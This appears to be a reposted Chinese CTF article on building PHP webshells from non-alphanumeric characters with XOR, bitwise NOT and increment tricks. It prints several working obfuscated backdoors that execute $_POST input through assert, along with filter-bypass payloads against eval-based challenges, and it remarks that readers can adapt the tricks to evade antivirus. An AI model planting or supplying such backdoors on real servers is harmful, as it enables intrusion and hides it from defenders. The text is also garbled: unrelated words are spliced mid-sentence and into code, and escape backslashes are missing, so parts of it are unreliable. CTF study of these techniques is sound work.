不用字母,数字和下划线写 shell php-合天智汇邵春华
本文转自公众号:信安之路
先膜一波 p 师傅的文章 《一些不包含数字和字母的 webshell》
https://www.leavesongs.com/penetration/webshell-without-alphanum.html
还有这个师傅的 《记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)》
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
太强了。这篇文章是在两位师傅文章的基础上写的。
CTF 遇到一道正则过滤了字母,数字和下划线的题目,发现了一些 PHP 的骚姿势,感觉很有必要总结一下。
另外声明这篇文章不是为了讲如何写免杀,而是讲一些骚姿势在 CTF 中的应用,不过师傅们当然可以自己利用这些姿势去构造自己的免杀。前置知识PHP中异或 (^) 的概念
<?php echo"A"^"暗黑之心?";?>
输出的结果是字符"~",这是因为代码对字符"A"和字符"?"进行了异或操作。在 PHP 中两个变量进行异或时,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值沈氏夫夫 ,再转换成字符串蹲墙功。
A 的 ASCII 值是 65侯瑞轩,对应的二进制值是 01000001? 的 ASCII 值是 63,对应的二进制值是 00111111异或的二进制的值是 10000000
二进制对应的 ASCII 为 126,也就是字符"~"。
例如非数字字母的 PHP 后门
<?php @$_++;// $_ = 1 $__=("#"^"|");// $__ = _ $__.=("."^"~");// _P $__.=("/"^"`");// _PO $__.=("|"^"/");// _POS $__.=("{"^"/");// _POST ${$__}[!$_](${$__}[$_]);// $_POST[0]($_POST[1]);?>甚至可以将上面的代码合并为一行,从而使程序的可读性更差:$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");PHP 中取反 (~) 的概念
来看一个汉字"和"
>>>print("和".encode('utf8'))b'xe5x92x8c'>>>print("和".encode('utf8')[2])140>>>print(~"和".encode('utf8')[2])-141
"和"的第三个字节的值为140[0x8c],取反的值为-141
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此
<?php$_="和";print(~($_{2}));print(~"x8c");?>
两个写法性质一样
结果会输出:ss不用数字构造出数字
利用了 PHP 弱类型特性,true 的值为 1,故 true+true==2。
$_=('>'>'<')+('>'>'<')print($_)print($_/$_)
结果会输出:2 1
在 php 中未定义的变量默认值为 null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。
<?php$_++;print($_);?>
结果会输出:1不用数字和字母的 shell
在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:
<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);}思路
将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 "assert",然后动态执行即可。任珈锐 非字母、数字的字符异或出字母
不可打印字符,用 url 编码表示。
<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';$___=$$__;$_($___[_]);// assert($_POST[_]);
还可以用更短的字符唐史并不如烟 ,下面会用到西电研招网。
"`{{{"^"?<>/"//_GET
^ 会对两边对应的字符串进行异或从野人到帝王。非字母、数字的字符取反出字母
利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节灵魂救星2,{2} 表示第 3 个字节
<?phpheader("Content-Type:text/html;charset=utf-8");$__=('>'>'<')+('>'>'<');//$__=2$_=$__/$__;//$_=1$___="瞰";$____="和";print(~($___{$_}));echo"<br>";print(~($____{$__}));
payload
<?php$__=('>'>'<')+('>'>'<');//$__2$_=$__/$__;//$_1$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST$_=$$_____;//$_=$_POST$____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法${~"xa0xb8xbaxab"}它等于 $_GET望驿台。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。php 递增/递减运算符
这种方法很明显的缺点就是需要大量的字符。
'a'++ => 'b','b'++ => 'c',我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。
数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得 'A'。
因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。
<?php$_=[];$_=@"$_";// $_='Array';$_=$_['!'=='@'];// $_=$_[0];$___=$_;// A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;// S$___.=$__;// S$__=$_;$__++;$__++;$__++;$__++;// E$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T$____.=$__;$_=$$____;$___($_[_]);// ASSERT($_POST[_]);
不用数字和字母写 shell 的实例
<?phpinclude'flag.php';if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO."); } @eval($code);}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
要求 code 的长度不能大于 40,限制输入不能为字母和数字。可以利用 PHP 允许动态函数执行的特点,拼接出一个函数名 getFlag(),然后动态执行即可。
这里依然可以用异或的方法,只是上面写出来的字符长度太长了。需要用简短的写法:
payload
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里的 "`{{{"^"?<>/"上面已经说过了是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);
把_当作参数传进去执行 getFlag()
这道题当然也可以用取反的方法,不过下面会讲到大地武士,这里就不再重复。不用数字,字母和下划线写 shell 的实例
<?phpinclude'flag.php';if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){die("Not Allowed."); } @eval($code);}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
下划线都不给,这就很恐怖了。意味着不能定义变量,而且也构造不出来数字。不过在PHP的灵活性面前,问题不大。
这是一开始学长给的 payload,+号 必须加引号
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();
51 个字符太长了,所以这里可以用简短的写法
('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
不过这样不能成功。
学长给出了解释:eval 只能解析一遍代码,所以如果写的是 a.b 这样的字符串拼接,就只会执行这个拼接汉仪大黑简,并不会去执行代码
例如:
eval($_GET['b'])url 里面b=phpinfo();这时候相当于eval('phpinfo();')
eval($_GET['b'])url 里面b=$_GET[c]&c=phpinfo();相当于eval('$_GET[c]')
上面的 payload 是code=$_GET['+']&+=getFlag();也就是eval('$_GET['+'])并不会执行 getFlag();
正确的 payload 为:
${"`{{{"^"?<>/"}['+']();&+=getFlag
这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。
<?php $a='hello'; $$a='world'; echo"$a${$a}";?>输出:helloworld
${$a},括号中的$a是可以执行的dnf鞋子宝珠有哪些 空想家乐队,变成了 hello。
payload 中的 {} 也是这个原理,{} 中用的是异或,^在 {} 中被执行了,也就是上面讲的 "`{{{"^"?<>/" 执行了异或操作,相当于 _GET。
最后 eval 函数拼接出了字符串`$_GET'+'`;,然后传入 +=getFlag,最后执行了函数 getFlag();
429 大佬给出的 payload:
http://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
这里用的是取反
~ 在 {} 中执行了取反操作农家药女,所以${~"xa0xb8xbaxab"}取反相当于$_GET。
跟上面的 payload 一个原理断点简谱 ,拼接出了$_GET['+']();,传入 +=getFlag() 从而执行了函数。
还有一种拼接的 payload:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
原理大同小异,$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
总结
PHP 是弱类型的语言,因此我们可以利用这个特点进行许多非常规的操作,也就是利用各种骚姿势来达到同一个目的。不过随着 PHP 版本的变化鉴鬼实录,php 的一些特性也会变化,例如 php5 中 assert 是一个函数沐灵山,但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码。因此我们要多熟悉 php 不同版本的差异。
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:edu@heetian.com 或 qq:3200599554
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击重金悬赏 | 合天原创投稿等你来!